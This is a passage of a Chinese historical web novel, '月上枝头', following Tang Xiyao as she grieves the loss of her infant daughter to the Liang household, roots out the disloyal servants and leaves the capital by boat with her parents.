同一天里,帝后各发一道旨意,表面看着都是抬举唐家,目的却南辕北辙。京城里别的没有,爱琢磨的,爱钻研的,满地都是。这两道旨意一出,众人私下里议论纷纷,一时间,唐家仿佛是被架在火上烤,表面光鲜亮丽,实则举步维艰。 梁国公府自然早就收到了消息。 樊嬷嬷之前在人家府里,只顾照看小唐棠,外头的消息一概不知。这几天唐府一直没有来人接他们,樊嬷嬷虽然觉得奇怪,但也没人打听,只在心里默默猜想是不是唐梁两家还在打着官司。如今皇后的懿旨一下,满京城都知道了。梁府内院自然也有嘴快的婆子,樊嬷嬷去后院里收衣裳的时候听到了议论,“唐家走水,女眷都伤病在床,幼女由刘千祥照看”三个消息,三个噩耗。一时间,樊嬷嬷如同被雷劈中了一般。 等回过神来,她开始着急上火了。不知道府里的情况怎么样了?懿旨上说女眷都伤病在床,是夫人旧疾犯了吗?大小姐怎么会受伤的呢?伤得严重吗?就算是都卧床了,唐府一院子的女使婆子,难道还会照顾不好一个奶娃娃么,懿旨说唐棠由生父照看是什么意思?当年两家和离的时候,孩子明明写清了归女方。 等一下! 樊嬷嬷一开始只觉得脑子里如同一个毛线球一样,太多疑问找不到答案,都绕在一起。突然,她似乎摸到了毛线球的头。皇后娘娘为何要特意下旨让梁家照顾孩子? 樊嬷嬷虽然是内宅仆妇,但并不是那种没有见识的婆子。当年唐刘两家和离,全程她都参与了,这中间,和梁国公府的弯弯绕她也很清楚。而如今朝堂上的嫡长之争,在后宅也不是什么秘密。把这些都串起来,樊嬷嬷就都明白了。 眼下,她还有一个更棘手的问题要解决。 之前她还惦记着等唐棠病好些了就带着孩子回唐府,这会儿懿旨一下,唐棠怕是短时间回不去了。那自己呢?回唐府吗?孩子还这么小,说话都不利索,留在这虎窝狼穴里实在不放心。且不说梁家人有没有什么坏心思,就算没有,万一下人们伺候得不周到,磕着碰着了,亦或者吃食穿戴不舒服,一岁半的孩子,哪里折腾得起?可如果留在梁府,梁家人愿意吗?要是人家不发话,自己这么尴尬留下,非客非仆的,算是个什么呢? 正纠结着,喜鹊来传话,说梁飞雪想请樊嬷嬷过去一趟。 说起来这几日在梁府,梁飞雪把自己的东院让出来给唐棠和樊嬷嬷住,又把身边的一等女使喜鹊拨给樊嬷嬷差遣,吃穿用度一应也是按着上好的来。樊嬷嬷看在眼里记在心里,对梁飞雪的印象好了不少。再加上喜鹊是个稳重的性子,平日里待樊嬷嬷颇为尊敬,樊嬷嬷对她也是客客气气的,所以一来二去,两人相处得倒是不错。 这会儿喜鹊来传话,樊嬷嬷一抬头,还没等开口,喜鹊就懂了。“嬷嬷安心,不是坏事儿”,说着虚扶了樊嬷嬷一把,两人一同去见梁飞雪了。 梁飞雪正在内书房议事,如今梁府内宅是梁飞雪当家。说来也有意思,梁飞燕和梁飞雪两姐妹年龄相差挺大。梁夫人生下梁飞雪时,梁飞燕十几岁,眼见着及笄。本来梁国公对这胎寄予很大希望,可随着月份大了,找了有经验的大夫和婆子来看,都说是女胎,梁国公失望之下家里也不愿待了。这才有了后来怡春楼的事儿。 那时候梁国公败了身子卧床,梁夫人难产血崩,家里乱作一团,二房的婶婶倒是几次伸手,想要管家之权。梁家是世家大族,虽然在梁国公一辈已经大不如前,但是瘦死的骆驼比马大,家里的田产,商铺,各种茶引盐引,零零种种加起来也非常可观了。梁飞燕深知自己快要出阁了,妹妹到底还是个奶娃娃,这管家之权要是交给了二房,怕是再也要不回来了。于是硬是扛着爱揽事儿的名声自己管家。在她出嫁之后,还特意以王府的名义送了一位经事的秦嬷嬷来暂代管家,一直到梁飞雪长大,再把管家权交到梁飞雪手里。 梁府的内书房分为里外两间,用一个山水刺绣的屏风隔开,布置得很雅致。外间墙上挂着一副秀丽的画轴,画上是松树底下一只母鹿带着几只小鹿在悠闲散步。画轴边上是个蝙蝠样式的支摘窗,窗下的几子上放着一只造型古朴的前朝汝窑白瓷花囊。里间更温馨一些,地上铺着西面贩来的地毯。和京城常见地毯的皮球花、团花、蔓草纹、三角纹图案不同,这张地毯上织的是两只猫咪在扑一只蝴蝶,十分有趣。房间的一角悠悠地燃着银丝碳,屋子里暖融融的。许是怕身上沾了香气对孩子不好,梁府的内书房里也没有燃香,只用一个木盘子装着切开的果子。整个里间有一种淡淡的果子香,颇为好闻。 几个来禀事的婆子都恭恭敬敬在外间候着,鹦鹉叫到一个,一个进去回话。内间里,梁飞雪坐在围椅上,手里捧着个珐琅镶嵌的小暖炉,等婆子禀告了,挨个给示下,旁边的秦嬷嬷坐在一张折枝牡丹雕花的细腿桌前,帮着或记账,或分配腰牌,让管事婆子拿着去库房领取东西。 喜鹊撩起厚锦棉帘和樊嬷嬷一起走进内书房,外间的婆子们都纷纷站起来打招呼,喜鹊笑眯眯道:“各位妈妈辛苦了,天冷,在旁边的耳房里给妈妈们备了热茶和点心,请妈妈们随小丫头去用一些,暖暖身子。”管事婆子们惯是会看眼色的,一见这架势,立马知道这是要回避了,都客客气气随着小丫头出去了。 打发了婆子们,喜鹊带着樊嬷嬷往内间走。里面的梁飞燕听到声响站起身迎了出来,“樊嬷嬷来了”,一边引着樊嬷嬷坐在身旁的圆凳上,一边用眼神吩咐人上茶饮。樊嬷嬷在梁府多日,虽然一直被礼待,但是梁飞雪突如其来这么客气,还是让她有 9. 醒了,天塌了 《月上枝头》全本免费阅读 夕瑶醒了。 好在是年轻,皇后娘娘的懿旨来宣读那日,唐夕瑶还基本处于昏迷或者昏睡的状态,整个人基本完全没有意识,不知道外面发生了什么。也就是过了五六日,她的精神头和意识就慢慢回来了。 躺在床上的那几日,夕瑶感觉自己快疯了。在别人看来,她似乎一直在昏睡,什么都不知道,但事实上,她神志是清醒的,屋子里发生了什么她都知道。父亲来探望她,给她开药方;紫草和银翘日日给她换药和擦身,换药的时候还给她吹吹;卞妈妈日日用干净的篦子给她梳头,和她絮絮叨叨府里发生的事情。她什么都能听到,只是太累了,眼皮仿佛千斤重,一直抬不开,嘴皮子也无力,没法回应什么。 女儿被抢,母亲病重,父亲一夜白头,在女使和妈妈们的聊天说话中,她什么都清楚。朝堂的局势,刘千祥的无赖,这些不用人说的,她也清楚;而帝后的圣旨,背后的角力,她也慢慢想明白了。只是为什么醒不过来啊?为什么自己的手脚仿佛都不是自己的?为什么连眼皮都抬不起来?她明明能够感受到疼痛,明明能够思考,为什么就是醒不过来啊? 夕瑶的心里仿佛有一只被困住的小兽,一直在乱撞,在咆哮。 好在,终于醒过来了。 大家都以为,夕瑶醒来以后,肯定会闹着要去梁府抢人,或者找刘千祥拼命,再不济也是在自家府里奔溃大哭或者不吃不喝。 然而很出人意料的是,醒来的夕瑶不哭,不闹,每日正常吃饭,言行举止看起来和平时无异。 唯一的区别是她几乎把所有的时间都放在照顾母亲身上。 她让女使婆子把自己搬到母亲院子里住,在母亲卧室的梨花橱那里放了一个美人榻。日常起居也都在那里。 唐夫人虽然还卧床,每日只能进少量汤水,但每餐的食谱依旧由夕瑶仔仔细细来定。老母鸡黄芪炖火腿,鸽子炖大枣,母鸭煨菌子…一日三餐不重样。除了让灶上炖足时辰以外,取的汤都撇去了浮油只留清爽的汤头,又取贴近大骨的肉,用刀子细细剁成泥,用纱布袋一点一点反复过筛,保证肉泥能够完全融化在汤里,这才亲自喂给母亲喝。 等她自己手脚有力一点,她就自己下厨给母亲煲汤熬粥,喂水喂药,连换衣擦洗也不假手于人。累了就在母亲的美人榻前眯一下。就连唐父想要帮忙也插不上手。 在夕瑶没醒来的时候,紫草、银翘和卞妈妈已经摸着线索往下查了。二门福顺一家虽然跑了,可是并不妨碍调查的进行。内院里有好几个洗衣的婆子都证实,福顺家的最近发达了。不仅两个孩子都扯了好料子做了新衣裳,福顺媳妇儿自己还打了个赤金的镯子。虽然她藏在袖子里,可平日里干活儿总有一不小心露出来的时候,大伙儿可都见着了。除此以外,往日里和福顺家要好的几户也不干净。虽然藏得比较好,但是仔细寻摸,还是能找到端倪。 夕瑶也不啰嗦,只交代卞妈妈拿足了证据,然后把人交到官府去。这些人平常也就是在后院做个二等的婆子或者帮佣,哪里见过衙门里的阵仗,都用不着开堂,只粗粗一审就什么都交代了。 梁家的小厮什么时候来后面马房先套的近乎;又是怎么找机会给点小恩小惠;请了哪些人喝酒;怎么知道了门房的排班;又是怎么搭上了二门福顺家的,一个下午的工夫,这群人交代得清清楚楚,签字画押一气呵成。而对福顺家的海捕文书也很快贴出去了。 卞妈妈办完了事儿回来复命,问问夕瑶下一步准备怎么安排,“小姐,有牵连的那些,官府都收押了。福顺家的,京兆衙门说,他老家就在附近的庄子上,父母亲戚都住那里,估计跑不远,十天半个月指定能抓着。如今后院里少了不少人手,您看是从外面采买些?还是从庄子里要一些?” 夕瑶坐在一张如意纹的圆凳上,一只手搁在大理石面的乌木圆桌上,拖着下巴。眼睛定定地看着桌上大理石的纹路。 “小姐,小姐?”卞妈妈唤了好几声,夕瑶终于有了反应。 “就照妈妈的意思办吧。” “诶!”卞妈妈内心难受,表面一点不显。只是眼眶一热,赶紧福了福,退了出去。 刚出门放下门帘,卞妈妈的眼泪就跟着下来了,生怕被人瞧见,捂着嘴转身进了边上的耳房。 耳房里紫草正在给夫人煎药,一看卞妈妈这模样赶紧上前,“妈妈这是怎么了?” 卞妈妈只顾摇头,用帕子捂着嘴,小声呜咽着。缓了好一会儿,摸到桌上有温温的茶水,给自己灌下一大杯,这才开口,“我没事儿,今日去了衙门,事儿都办妥了,那些不干净的婆子小厮都收押了,这些杀千刀的,活该在牢里吃吃苦头。福顺家的官府也发了海捕文书了。只是小姐…小姐…”卞妈妈正想着怎么形容。 “小姐这几日好像心不在焉的。” “可不就是心不在焉。我原本是来回禀衙门的事儿的,顺便讨个示下,后院里少了这些洒扫关门的婆子,总得补上一些。可唤了小姐好几声,她才答应,还说的前言不搭后语的。哎,可怜见的,都说孩子是娘的心头肉,这话是真没错啊。自打小小姐被带去梁府以后,大小姐就和丢了魂儿似的。” “还不光是丢了魂儿呢。我和银翘正在犯愁这事儿,刚好妈妈来了一起参谋参谋。” “什么事儿,你说细些。” “小姐最近整个人都不太对。仿佛坐不住一般,争着和我们抢活儿。一开始还只是下厨,后来抢着给夫人擦洗,这两日连别的都要抢。刚刚您来之前,她还和我抢着盯药炉子呢。” 正说着,银翘掀起门帘进屋,“嘘,小点声,生怕别人听不见啊。” 紫草一把拉过她,“正说着小姐的事儿呢,这段日 10. 樊嬷嬷大义 《月上枝头》全本免费阅读 这一道圣旨,犹如一道闪电,直接把夕瑶劈晕了过去。 再醒来,夕瑶也不愿意相信这是事实。 我的唐棠啊,还这么小啊,刚刚蹒跚着走路呢,说话都还不利索呢,离了母亲,她要依靠谁啊… 夕瑶把自己关在母亲的佛堂里,脑子里一遍遍浮现孩子自打出生起的各种场景。 这孩子懂事,出生并没有让母亲遭多大罪,只用了半日就生下来了。别家的孩子刚生下来皮肤总是红红的,但是唐棠生下来就很白净。 孩子第一次能自己翻身,第一次吃糊糊,第一次蹒跚着下地走路,第一次会喊阿娘。那小小的,肉乎乎的手,总是弄脏了然后故意蹭到身上,再咯咯咯笑。那天真无忧的笑容,仿佛全世界的太阳都没有她明媚。那一声声的阿娘,是这世上最好听的声音。 往事一幕一幕在夕瑶眼前闪过,她只觉得整个心都要被搅碎了。 那个梁家,就是个是非窝,饶是夕瑶这样不怎么出门的,也能听到不少风言风语。而刘千祥是什么德性更是不用说了,一个奶娃娃去了这样的地方,以后的日子可怎么过啊? 若是吃是不习惯,有人替她单做一点吗?前些天下雪了,有人给她添衣裳吗?孩子看不找她,会不会整夜哭啊? 夕瑶跪在佛像面前,头重重磕在地上,一遍一遍祈求:“求菩萨能保佑小女唐棠平平安安,我愿意折寿30年,愿承担她可能经受的一切苦楚,只求小女能平安,只求一个平安。” 佛堂的香烛燃了一整夜,夕瑶也跪了一整夜,哭了一整夜,额头肿起了包,膝上的伤口裂开了,血水渗透了纱布,但是夕瑶一点也感觉不到。 天亮了,眼泪也干了。夕瑶好想就这样晕过去算了,再也别醒来了,那样就不会痛不会难过不会伤心了。 然而,那样的念头,终究还是被窗外远方缓缓升起的金光驱散了。 夕瑶摸索着从跪着的蒲团上站起来,跪了一夜,没力气了,又一屁股坐了回去。 缓了缓,她深吸一口气,又挣扎着站起来。 她颤颤悠悠打直了腿,一步一步往门口踱去。 在之后各种艰难的日子里,她都会想起这一天,那种巨大的疼痛,仿佛无数匹战马从她身上踏了过去。体会过了这样的疼痛,再没有事情可以将她击倒。 她得好好活下去。她还有体弱的母亲,还有一直担心她的父亲,还有年幼的,还在别人手里的女儿。 她得好好活下去。活下去,才有希望。 夕瑶踉踉跄跄走到门前,调整了呼吸,抬手拉开佛堂的大门,大家都在门口等她。父亲,卞妈妈,银翘,紫草,甚至还有母亲。 母亲这几日都不能下床,需要静养,今日竟也坐在躺椅上让人抬来了。哦,不,不是今日。看着架势,是昨日夜里就来了。 唐夫人躺在椅子里,身上盖着薄被,眼角湿漉漉的,想是也跟着哭了一夜。一双眸子红肿得厉害。唐母虽未言语,眼中的关切和担心却是藏都藏不住。 “母亲,夜里风大,您怎么来了?”夕瑶紧步往前走,腿却不争气,踉跄着就要跌下台阶去,唐父赶紧上前接住她。 “夕瑶,是爹爹对不住你们母女啊,”唐父纵是历经沙场,也见惯了朝堂险恶,如今见妻女如此,还是悲从中来。一双手抓着夕瑶的胳膊,止不住颤抖。 “爹爹别说了,我都明白的。”夕瑶反握着父亲的手。神仙打架小鬼遭殃,天家的王权争夺自古都是血淋淋的,只是这次自家被挤在了当中,充当了磨芯。 此时离开上京这个是非地,也许是最好的选择,只是唐棠…一想起幼女,夕瑶还是忍不住神伤。 既然接了圣旨,自然要早些到任。 唐家很快开始收拾行李。往日里整理行李,最麻烦的就是老爷的各种古籍和经方,怕震的,怕潮的,非得里三层外三层包好不可。这下倒好,烧了个干净。 除去那些留在京里带不走的,两日工夫,别的东西已经收拾得差不多了。 那日刚过晌午,门房上传进来一张帖子,说梁府的二小姐邀夕瑶过府赏花。 唐家要离京的消息当日就传到了梁府,樊嬷嬷是彻底坐不住了。人常说心里七上八下的,樊嬷嬷这次是真的体会到了。 这两日在梁府看下来,梁飞雪并不如女眷们口中说的跋扈和自傲。平日里她待自己和唐棠也算和气亲切。 樊嬷嬷抬头看着现在这个屋子,屋子里的家具都是上好的金丝楠木的,为了怕孩子磕碰,还都选了边角是圆弧形的。唐棠睡的床上,一应被褥都是新换的。被子外侧用的是云锦,中间夹着蚕丝,里侧缝的是湖州产的细棉。这细棉看着不起眼,但是柔软光滑,也透气,最适合给奶娃娃用,只是价格不便宜。之前在自家府里,大小姐也是把细棉都留给孩子做里衣。前几天孩子的身体时好时坏的,常常半夜里就发起了烧,服了药也睡不安稳,尿床更是常事。原以为几次尿床下来,怕是不会用这么上好的料子做被褥了,但是梁府这边仿佛什么事情都没有,尿脏的被褥换下去,干净的换上来,依旧是云锦细棉夹蚕丝的被褥。虽说梁府家大业大,这点花费不算什么,但是这份心意,樊嬷嬷还是领的。 但是即便如此,这才几日呢,也说不好。万一她们只是做做样子的呢? 如今唐家要举家离京了,那这孩子要怎么办呢? 樊嬷嬷左思右想,终于定了主意。 唐夕瑶来得很低调,一辆轻便的马车,除了车夫以外,只带了紫草和银翘。 梁府门上的一早听了吩咐,见人来了,径直领到了唐棠的院子里。 这边樊妈妈听到了消息,早就按耐不住了。孩子小,才刚退烧没几天,怕她吹了风,所以不让她去院子里,哄着她在屋里玩儿,但是樊妈妈自己一次又一次透过窗子往外瞅。 “唐娘子您这边走”,听到女使把人往里领,樊妈妈抱着唐棠三步并作两步到了屋门口。 “小姐…” “阿娘…” 看见了多日不见的女儿,夕瑶的眼睛里终于有了光。 顾不得膝盖的疼痛,夕瑶三步并作两步往前跑。那一头唐棠也伸长了手臂在樊妈妈的怀里挣扎着向母亲扑来。 终于抱到了,我日思夜想的心头肉啊。夕瑶哄着孩子:“不哭,不哭,阿娘抱呢”,不知道自己也已经泪流满面。 梁府的女使见状,躬身说,“我家小姐还有些杂事要处理,请唐娘子先在这个院子里歇一歇”,边说边悄声退了出去。 这边娘俩儿几个哭过一场,外头有眼力劲儿的小丫头已经端上来了温水帕子给她们梳洗。小唐棠本就人小,加上刚病愈,哭过一场,换了衣裳,已经迷迷糊糊犯困了。 11. 终究一别 《月上枝头》全本免费阅读 眼看着没有说贴心话的机会了,樊嬷嬷把小匣子一把塞给夕瑶让她收好。夕瑶瑶退回去,樊嬷嬷只虎着一张脸,又重重地塞了过去,盯着夕瑶收下了才作罢。接着拿出帕子仔细给她擦了擦眼泪,然后又胡乱抹了一下自己的眼角,扶着夕瑶逛逛这个院子。 大致绕了一圈,夕瑶和樊嬷嬷都收拾了一下心情。在小丫头的指引下,夕瑶去见梁飞雪了。 “说起来,这居然是我第一次正经见她,”她在心里暗暗嘀咕。 梁府很大,花厅却离得并不远。走了没多久,引路的小丫头指了指前面,行个礼就退下了。 夕瑶心里猜测这可能是梁飞雪自己内院的花厅。 这花厅造在园子里,边上绕着一弯浅渠,看起来似乎是从大池子里引了水过来。 梁飞雪闲闲倚在回廊上的美人靠上,手里掰碎了半个饼子,在喂渠里的鲤鱼。见夕瑶过来了,梁飞雪起身迎了出来。 “唐家姐姐”,梁飞雪其实没有和唐夕瑶正面打过交道,加上之前唐家和刘千祥的纠葛以及现在这个孩子的事情,梁飞雪心里多少有些亏欠,也有些忐忑,不知道来人会是个什么反应。 “梁娘子,叨扰了”,两人相互行了个礼。 两人都不知道要怎么打开话头,气氛一时僵在那里。 “小女这几日在贵府上,承蒙梁娘子照顾,不胜感激。之后…之后…”还是夕瑶先打开了话头,一想到之后可能就见不到女儿了,忍不住哽咽,这话竟卡在那里,无论如何说不下去了。 “唐家姐姐,”梁飞雪引着夕瑶在圆椅上坐下,“我知你舍不得孩子,只是如今这局势…”只是如今这局势,我家男人抢了你的孩子,我家阿姐又希望用着孩子做掣肘。梁飞雪长这么大,从没觉得这么理亏过,只是有些事,由不得她。 她想了想,重新起了个话头:“我自小就没了阿娘,是姐姐一手拉扯我长大的。但阿姐当年毕竟年纪小,十几岁,自己还是个娃娃,身边也没个贴心的长辈看护,一大家子府里府外的事情压在她身上,有时候难免会顾不上我。别说我了,有时候,阿姐连自己的冷热吃穿都顾不上。我那时候就在想,要是我的阿娘还在就好了,有阿娘看护着我们,我们的日子肯定会更舒适妥帖。” “唐家姐姐,我自小是吃过身边没有母亲的亏的,我也知道孩子小,自己也不会说,日常照顾上,饮食起居,菜蔬冷热,身边的人容易懈怠。这也是你不放心的地方吧。如今孩子院里,里里外外的人手都是我自己挑的,也都敲打过,我虽然不曾带过孩子,但是我自己做过孩子,我多少知道在哪里要注意些。何况,樊嬷嬷也会留下来亲自照料,她是最知道孩子喜好的,想来也是你信得过的。” 看着夕瑶还是泪眼迷蒙的样子,梁飞雪突然就想到了自己的母亲。不知道她当年弥留之际,是否也是这样的放心不下她们姐妹,只可惜,自己还只是个刚出生的奶娃娃。母亲,对于她来说太遥远了,她甚至没法记得阿娘长什么样子。家里没有母亲的画像,她从阿姐嘴里也只能听到模糊的描述,“母亲很温柔,母亲说话总是很柔和”,今日看到唐家娘子,她的脑子里似乎有了母亲的样子。 “若是,若是你还是有什么顾虑,尽可以提,或者再送些个你信得过的人来照顾孩子也使得。”一想到自己的阿娘,梁飞雪更加想要把话说得软和些,临别在即,她能做的,其实也只有这么多了,“我知道,其实现在无论做什么,无论说什么,你都不会放心,这是自然的。我阿姐说,当年我阿娘难产生了我,在产房里眼瞅着就不行了,临走的时候,只拉着我阿姐的手,直直望着刚刚出生的我,她一句话都说不出了,但是我阿姐知道,她是放心不下我。”梁飞雪说着说着,自己也红了眼眶。 “梁娘子,”夕瑶有些动容,她没想到,第一次见面,梁飞雪能和她说这些。 “我这孩子,自出生就没离开过我身边,可能有点被我宠坏了,开口晚,至今也没能说上几句完整的话。往后还劳烦梁娘子多照应了。” “这是自然的,既暂住在我府里,自该是我多上心的。” 梁飞雪知道唐夕瑶的顾虑,如今这局势,两派相争不是一朝一夕了,回头这孩子的命运会如何,谁都说不好。太多事情都不是自己能掌控的了。梁飞雪只觉得,这孩子既和她有这个缘分,真的有朝一日,自己尽力护着她就是了。 很快到了出发那日,大部分行李已经装箱好往码头去了,唐老爷和夫人也坐上马车准备去登船了。夕瑶和几个女使仆妇垫后,准备等最后几箱行李装上了再走。 这时候,老远听到一个妇人往这边跑,边跑边喊:“等等我,别走,等一等。” 等来人跑近了才发现,这是樊嬷嬷的儿媳妇桂香。桂香手里还牵着她五六岁的儿子虎子,两母子跑得一脑门子汗。 “终于,终于赶上了”,桂香跑得上气不接下气的,虎子也喘得厉害。 “桂香嫂子,你怎么来了?”紫草赶忙把马车上的茶壶拿了下来,给他们倒水。 “不用不用,”桂香还在客气,一回头虎子已经满满一杯茶水灌了下去,忙回头小声呵斥“你咋就喝上了,这是小姐们的茶水。” “这说的哪里话,孩子渴了,自是要喝水的。”唐夕瑶接过紫草手里的茶水递给桂香,“先喝点水缓一缓。” 桂香推迟不过,加上确实跑了一路,接过杯子,也喝了下去。 “桂香嫂子,你和虎子怎么来了?可是樊妈妈有什么事情要嘱托?”紫草见桂香缓过来了些,替夕瑶开口问道。 “娘说了,依着小姐这性子,即 12. 江上时光 《月上枝头》全本免费阅读 刚开年的码头上熙熙攘攘的,夕瑶带着虎子登船的时候,唐家二老以及家里的行李基本都已经在船上了。夕瑶抬头开了一眼,是一艘不大的客货两用船。 后来听卞妈妈说起,原以为刚开年,码头上的船老大们都在等着接生意呢,还想着可以挑一搜舒适宽敞的客船。等管家去了发现完全不是这么回事儿。 大的客船,在过年前就老早已经被订下了,下定金的也往往都是高门大户,船老大们拿了人家的定金哪能反悔呢。饶是管家磨了半天,船老大们也只敢松口说得和主人家商量一下,看看能不能让出半条船来,大家拼一下。 唐家人素来爱清净,加上又是这个风口浪尖上,和人拼船肯定是不合适了,没得回头多出新的是非来。可是小船远没有大船稳当,开春了,水流也比冬日里湍急不少,遇到底下的漩涡更是容易颠簸。夫人还病着,小姐的身子骨也还没全好,这一路上颠簸可怎么行。一时间可愁坏了老管家。 最后好不容易找到了这条客货两用的船。 船分为上下两层,下层货仓部分年前其实已经被人整个订走了,结果下定的人临时出了点意外,货少了一半。正好,那一半留给唐家放行李。 上层客舱部分原本有些陈旧,管家多给了船老大银两,让他找人提前打扫收拾一下,几间客房里的家具摆设都换了新的,被褥帘子也都用自家的,这样收拾完倒是也像回事儿。 唯一的不方便是货仓里的那些货,人家定了是从上京送到镇江府的。话句话说,在途中,船只得靠岸卸货,来来去去会耽误一些时间。但横竖船只本来也需要偶尔靠岸补给,卸货也就当是顺便了。另外呢,官家给的圣旨里并没有写明到任的时间,想来也只是找个名头让唐老爷外放。想到这里,管家更是放一百个心。 夕瑶上船后先带着虎子去看了父母,把樊嬷嬷和桂香嫂子的话都转达了。唐父唐母都是好一番感慨。然后夕瑶让仆妇们帮着调整了房间的安排,把虎子安置在自己边上的客房里,又和身边的人都打了招呼,五六岁的孩子,得多关照着。樊嬷嬷唯一的孙子,桂香嫂子的一片苦心,夕瑶摸摸虎子圆溜溜的小脑袋,这倒春寒的日子里,她终于觉得不这么冷了。 船上的生活单调而无趣,一开始几日还有点新鲜感。加上天气也好,大家偶尔还去船舱外透透气,看看两岸的景色,看看水上的飞鸟,后面一连十数日的落雨,湿答答的,甲板也上不去,大家只能窝在船舱里。卞妈妈带着丫头们做做针线,夕瑶找了一本三字经,教虎子人人字。虽说也算有事做,但是这么长时间一直闷在船舱里,还是不免仍人觉得气闷。 更难受的是,雨大,往往风浪也大,这船终究比不得大船的稳定性高,一船人在摇摇晃晃中纷纷开始晕船。 尽管已经第一时间让大家服下了晕船药,然而也只是略略缓解了一下恶心难受罢了,要完全适应,终究还是得靠时间。 夕瑶每日的生活基本就是给母亲熬药,陪着母亲在船舱里说话解闷,带着虎子认字或者在船舱里稍微走动一下。 因为走得急,虎子除了几身换洗衣裳基本他娘就没带啥东西了,夕瑶原本打算安排小厮给孩子做点玩具,可一来船小,除了必要的家丁外,小厮们都留在唐府准备分批安排回杭州了。二来呢,家丁们也是一边晕着船一边轮班日夜巡护,脱不开人手。 好在这小子倒是不嫌无聊,每天跟在夕瑶的屁股后头走东走西的,夕瑶和母亲说话的时候,他自己看船外的小鸟或者对面驶过的船只也挺高兴。 “虎子,我一会儿要去做个鱼羹。厨房里烟熏火燎的,你就别跟着了,和紫草去翻花绳儿吧。” 唐夫人原就病着,加上晕船,食欲更佳不好,一顿喝半碗粥就饱了,原本就消瘦的身体更是瘦了一圈。夕瑶和唐老爷急在心里,可是要适应船上的颠簸毕竟需要时间,加上船上的新鲜食材也少,天晴的时候尚且能捕些新鲜的水产,遇到雨大的时候,只能靠些肉干菜干或者鱼鲞,好些菜即便想做也是巧妇难为无米之炊。 这日里船老大捕到了一条一尺多长的白条鱼。白条鱼常见,但是这个大小的可不常见,这可是补虚益肺好东西。夕瑶准备下厨给母亲做个鱼汤。 “姑姑,你就让我跟着你吧,翻花绳儿是女孩儿玩的,我才不想玩呢。”虎子见夕瑶瑶开口反对,连忙补充道:“我保证不捣乱,其实在家的时候,我还经常帮我娘烧火呢。” “小姐,你就让着虎子跟着你吧。这小鬼,别看不闹腾,可是有一堆的问题。前两日就奉茶的一会儿功夫,他问我,为啥有些鸡蛋可以孵出来小鸡,有些不可以;为啥有的鸟会捕鱼有的鸟不会,你说这我哪知道啊。今日早上更好玩,这小子还跑去甲板上问船老大为啥船是两头尖中间宽,船老大刚回答他,他又接着问人家那为啥那些江边的小舟是两头完全尖像一个纺锤,而咱们的船虽说是两头尖,但是却好似两头都被削掉了一块。如今,连船老大都躲着他咧,”紫草平日里伶俐,但是一说到带虎子也是一肚子苦水。 “行,就跟着我吧,先说好了,去了厨房,刀和火都不许碰啊。” 进了厨房,鱼早就收拾好了。夕瑶将鱼稍稍腌制,然后放在蒸锅中蒸一刻钟,接着把鱼拆碎,鱼头和中间的大刺用筷子捡出来。白条鱼多刺,剩下的部分很难挑刺就用干净的粗孔纱布包裹起来,在水里用勺子慢慢碾,鱼肉碾碎了透过纱布落到水里,纱布里的鱼刺和渣子就能一次收拾掉了。 为了防止虎子捣乱,夕瑶还特意给了虎子一个任务,择菜。 等鱼肉熬成浓汤,加上一点点香油香醋和芹菜碎,就齐活儿了。 刚熬完了汤,夕瑶一回头,虎子不在小圆凳上了,台子上光秃秃地留下一把择好的芹菜。 夕瑶看着空空的圆凳,脑袋里一下子浮现出女儿被抢走的情景,背上的冷汗蹭地就上来了,“虎 13. 度支员外郎案 楔子--1 《月上枝头》全本免费阅读 开了春,镇江的码头边热闹非凡。 船老大来回话,近日里靠岸的客船和货船都多,上客和拉货也都需些功夫,所以各家商船都得排着队等着靠岸。 外面熙熙攘攘的,隔着窗户都能听到的热闹,让虎子坐不住了。 “姑姑,咱们去甲板上看看吧,你看外面多热闹啊。” “你让银翘或者紫草带着你去吧。”夕瑶这些年都不爱热闹。 “可是姑姑,上船以后的这些日子你都没怎么出去看过,你就陪我去看看吧,我保证不捣乱。” “就是,小姐,虎子上船以后一直挺乖的,这一个多月,孩子都要憋坏了,你就陪她去看看吧。”紫草可不想带虎子,赶紧把这烫手山芋往外推。 “小姐要是不愿意让人看见,咱们有帷帽。我让人在甲板上放上椅子和茶点,保管你和虎子舒舒服服的看景色。”难得能让小姐出去透透气,卞嬷嬷也加入游说大军。 一会儿的功夫,甲板上已经放好了椅子,小茶台还有茶水点心。 可能是客货两用的缘故,这艘船的船舱屋檐要比一般的船只的宽大不少,夕瑶刚好能够坐在屋檐下。太阳照在屋檐上形成的阴影打在夕瑶脸上,从远处看,只能看到一个人影却看不清长相。 这位置给了夕瑶不少的安全感,连帷帽也不必戴了。 三月的江南,真的是一派新的景象。岸边一排排柳枝抽出的嫩芽已经有寸长了,在微风的吹拂下摇摇曳曳。河面上吹来的风也不如冬日那般刺骨,虽然还略有些凉意,但对于终日待在船舱里的夕瑶来说,拂在脸上十分清爽。迎面而来的是水汽夹杂着一些草木和说不清的花香。 这会儿距离码头约还有一里路,但是宽阔的水道已经变得拥挤了。水面上几十艘大大小小的船只等着靠岸。船上相熟的船把子们相互打着招呼。 往远处看,依稀能够看到岸上码头两旁热热闹闹的景象,若是仔细听的话,似乎还能听到小贩的叫卖声。 虎子上了甲板倒也不闹腾,只坐在小圆凳上吃着肉饼子。 原本茶台上只放着几碟子小巧的糕饼,这肉饼子是虎子央了厨房大娘单独给他做的。外面是油和的酥皮,里头是羊肉馅儿的,一个约有拳头大小,实打实的扎实。只一会儿功夫,虎子已经嚼完两个了,正伸手拿第三个。 “虎子,一会儿靠了岸咱们就吃晌午饭了。你这几个饼子下肚,饭可就吃不下啦。”夕瑶说着,想让银翘把装饼的碟子收起来,“这几个饼子给你留着下午吃好不好?” “不行不行”,虎子一看碟子要被收走,赶紧把手上的小半块饼子塞进嘴里,双手去抢饼碟子,“我听紫草姐姐说了,我们回头要住在庙里。我和我娘去过庙里,里面的饭菜只有素的,没有肉吃…” 小家伙的嘴塞得鼓鼓囊囊的,一说话,饼屑子就往外漏。银翘嫌弃得连连躲开,碟子被虎子一把护在怀里。 虎子一看银翘姐姐躲饼屑子,顿时觉得好玩,他故意往银翘跟前凑,边凑边说话,饼屑喷银翘一身。银翘躲,他追,两个人在甲板上追逐打闹。 夕瑶一开头还想劝劝,后来也觉得好玩,横竖在自家船上没有外人,就慢悠悠喝着茶看着他俩玩闹。 随着排在最前面的船只靠港、卸货、离港,后面的船也慢慢往前挪。大约一炷香的功夫,唐家的船已经往前挪了十几个船身,眼瞅着要靠港了。 一个尖利的女声传进耳朵,“就让我死了吧,别拦我,让我死了吧…” 虎子和银翘马上结束打闹,站在甲板边上看起了热闹。 